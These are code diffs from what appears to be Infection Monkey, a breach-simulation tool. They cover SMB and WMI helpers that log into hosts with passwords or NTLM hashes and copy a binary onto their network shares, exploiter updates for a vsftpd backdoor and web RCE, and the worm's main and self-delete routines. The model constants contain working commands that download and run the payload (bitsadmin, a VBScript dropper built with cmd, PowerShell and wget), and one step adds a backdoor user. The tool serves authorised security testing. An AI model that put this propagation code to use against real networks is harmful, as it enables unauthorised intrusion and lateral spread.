local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
class MonkeyHTTPServer(HTTPTools):
def __init__(self, host):
super(MonkeyHTTPServer, self).__init__()
self.http_path = None
self.http_thread = None
self.host = host
def start(self):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
def stop(self):
if not self.http_path or not self.http_thread:
raise RuntimeError("Can't stop http server that wasn't started!")
self.http_thread.join(DOWNLOAD_TIMEOUT)
self.http_thread.stop()

View File

@ -0,0 +1,63 @@
import logging
import textwrap
LOG = logging.getLogger(__name__)
class Payload(object):
"""
Class for defining and parsing a payload (commands with prefixes/suffixes)
"""
def __init__(self, command, prefix="", suffix=""):
self.command = command
self.prefix = prefix
self.suffix = suffix
def get_payload(self, command=""):
"""
Returns prefixed and suffixed command (payload)
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
:return: prefixed and suffixed command (full payload)
"""
if not command:
command = self.command
return "{}{}{}".format(self.prefix, command, self.suffix)
class LimitedSizePayload(Payload):
"""
Class for defining and parsing commands/payloads
"""
def __init__(self, command, max_length, prefix="", suffix=""):
"""
:param command: command
:param max_length: max length that payload(prefix + command + suffix) can have
:param prefix: commands prefix
:param suffix: commands suffix
"""
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
self.max_length = max_length
def is_suffix_and_prefix_too_long(self):
return self.payload_is_too_long(self.suffix + self.prefix)
def split_into_array_of_smaller_payloads(self):
if self.is_suffix_and_prefix_too_long():
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
"exceeds required length of command.")
elif self.command == "":
return [self.prefix+self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part
in wrapper.wrap(self.command)]
return commands
def get_max_sub_payload_length(self):
return self.max_length - len(self.prefix) - len(self.suffix)
def payload_is_too_long(self, command):
return len(command) >= self.max_length

View File

@ -0,0 +1,32 @@
from unittest import TestCase
from payload_parsing import Payload, LimitedSizePayload
class TestPayload(TestCase):
def test_get_payload(self):
test_str1 = "abc"
test_str2 = "atc"
payload = Payload(command="b", prefix="a", suffix="c")
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
def test_is_suffix_and_prefix_too_long(self):
pld_fail = LimitedSizePayload("b", 2, "a", "c")
pld_success = LimitedSizePayload("b", 3, "a", "c")
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
def test_split_into_array_of_smaller_payloads(self):
test_str1 = "123456789"
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
array1 = pld1.split_into_array_of_smaller_payloads()
test1 = bool(array1[0] == "prefix1234suffix" and
array1[1] == "prefix5678suffix" and
array1[2] == "prefix9suffix")
test_str2 = "12345678"
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
array2 = pld2.split_into_array_of_smaller_payloads()
test2 = bool(array2[0] == "prefix1234suffix" and
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2

View File

@ -0,0 +1,223 @@
import logging
import ntpath
import pprint
from impacket.dcerpc.v5 import transport, srvs
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host.ip_addr[0], )
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
T1105Telem(ScanStatus.USED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path).send()
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
T1105Telem(ScanStatus.SCANNED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path).send()
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce

View File

@ -0,0 +1,150 @@
import logging
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class DceRpcException(Exception):
pass
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query

View File

@ -6,12 +6,16 @@
import socket
import time
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from logging import getLogger
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter):
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -5,10 +5,12 @@ from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'VakarisZ'
@ -307,7 +309,7 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp
@ -366,8 +368,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if isinstance(resp, bool):

View File

@ -9,7 +9,9 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"

View File

@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)

View File

@ -6,8 +6,11 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
@ -33,8 +36,10 @@ class WmiExploiter(HostExploiter):
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
password_hashed = self._config.hash_sensitive_data(password)
LOG.debug("Attempting to connect %r using WMI with "
"user,password (SHA-512),lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password_hashed, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
@ -44,23 +49,23 @@ class WmiExploiter(HostExploiter):
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
self.host, user, password_hashed, lm_hash, ntlm_hash)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
self.host, user, password_hashed, lm_hash, ntlm_hash)
continue
except socket.error:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
self.host, user, password_hashed, lm_hash, ntlm_hash)
return False
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
self.host, user, password_hashed, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
@ -91,7 +96,8 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
build_monkey_commandline(
self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
@ -118,3 +124,4 @@ class WmiExploiter(HostExploiter):
return success
return False

View File

@ -8,7 +8,7 @@ import os
import sys
import traceback
import infection_monkey.utils as utils
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
@ -68,7 +68,7 @@ def main():
else:
print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
print("Loaded Configuration: %r" % WormConfiguration.as_dict())
print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
# Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(
@ -79,10 +79,10 @@ def main():
try:
if MONKEY_ARG == monkey_mode:
log_path = utils.get_monkey_log_path()
log_path = get_monkey_log_path()
monkey_cls = InfectionMonkey
elif DROPPER_ARG == monkey_mode:
log_path = utils.get_dropper_log_path()
log_path = get_dropper_log_path()
monkey_cls = MonkeyDrops
else:
return True
@ -127,8 +127,8 @@ def main():
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
return True
except Exception:
LOG.exception("Exception thrown from monkey's start function")
except Exception as e:
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
finally:
monkey.cleanup()

View File

@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable

View File

@ -7,7 +7,8 @@ import time
from six.moves import xrange
import infection_monkey.tunnel as tunnel
import infection_monkey.utils as utils
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.model import DELAY_DELETE_CMD
@ -16,6 +17,7 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
@ -23,8 +25,10 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
__author__ = 'itamar'
@ -66,10 +70,7 @@ class InfectionMonkey(object):
self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
if self._opts.depth:
WormConfiguration._depth_from_commandline = True
self._keep_running = True
@ -86,12 +87,13 @@ class InfectionMonkey(object):
def start(self):
LOG.info("Monkey is running...")
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
LOG.info("Monkey couldn't find server. Going down.")
# Sets island's IP and port for monkey to communicate to
if not self.set_default_server():
return
self.set_default_port()
# Create a dir for monkey files if there isn't one
utils.create_monkey_dir()
create_monkey_dir()
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
@ -103,6 +105,9 @@ class InfectionMonkey(object):
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config()
if utils.is_windows_os():
T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
return
@ -114,10 +119,7 @@ class InfectionMonkey(object):
if monkey_tunnel:
monkey_tunnel.start()
StateTelem(False).send()
self._default_server = WormConfiguration.current_server
LOG.debug("default server: %s" % self._default_server)
StateTelem(is_done=False).send()
TunnelTelem().send()
if WormConfiguration.collect_system_info:
@ -183,7 +185,7 @@ class InfectionMonkey(object):
(':'+self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
# Order exploits according to their type
if WormConfiguration.should_exploit:
@ -229,14 +231,13 @@ class InfectionMonkey(object):
InfectionMonkey.close_tunnel()
firewall.close()
else:
StateTelem(False).send() # Signal the server (before closing the tunnel)
StateTelem(is_done=True).send() # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
self.send_log()
self._singleton.unlock()
utils.remove_monkey_dir()
InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@ -249,9 +250,13 @@ class InfectionMonkey(object):
@staticmethod
def self_delete():
status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
T1107Telem(status, get_monkey_dir_path()).send()
if WormConfiguration.self_delete_in_cleanup \
and -1 == sys.executable.find('python'):
try:
status = None
if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
startupinfo = subprocess.STARTUPINFO()
@ -262,11 +267,15 @@ class InfectionMonkey(object):
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
status = ScanStatus.USED
except Exception as exc:
LOG.error("Exception in self delete: %s", exc)
status = ScanStatus.SCANNED
if status:
T1107Telem(status, sys.executable).send()
def send_log(self):
monkey_log_path = utils.get_monkey_log_path()
monkey_log_path = get_monkey_log_path()
if os.path.exists(monkey_log_path):
with open(monkey_log_path, 'r') as f:
log = f.read()
@ -297,7 +306,11 @@ class InfectionMonkey(object):
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except ExploitingVulnerableMachineError as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter)
return True
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
@ -321,3 +334,17 @@ class InfectionMonkey(object):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
def set_default_port(self):
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
def set_default_server(self):
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
LOG.info("Monkey couldn't find server. Going down.")
return False
self._default_server = WormConfiguration.current_server
LOG.debug("default server set to: %s" % self._default_server)
return True

View File

@ -6,11 +6,11 @@ import requests
from requests.exceptions import Timeout, ConnectionError
import infection_monkey.config
from common.data.network_consts import ES_SERVICE
from infection_monkey.model.host import VictimHost
from infection_monkey.network import HostFinger
ES_PORT = 9200
ES_SERVICE = 'elastic-search-9200'
ES_HTTP_TIMEOUT = 5
LOG = logging.getLogger(__name__)
__author__ = 'danielg'

View File

@ -10,7 +10,7 @@ import re
from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils import is_64bit_python
from infection_monkey.utils.environment import is_64bit_python
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024

View File

@ -1,21 +1,16 @@
import datetime
from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER
from infection_monkey.post_breach.pba import PBA
from infection_monkey.config import WormConfiguration
__author__ = 'danielg'
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
from infection_monkey.utils.users import get_commands_to_add_user
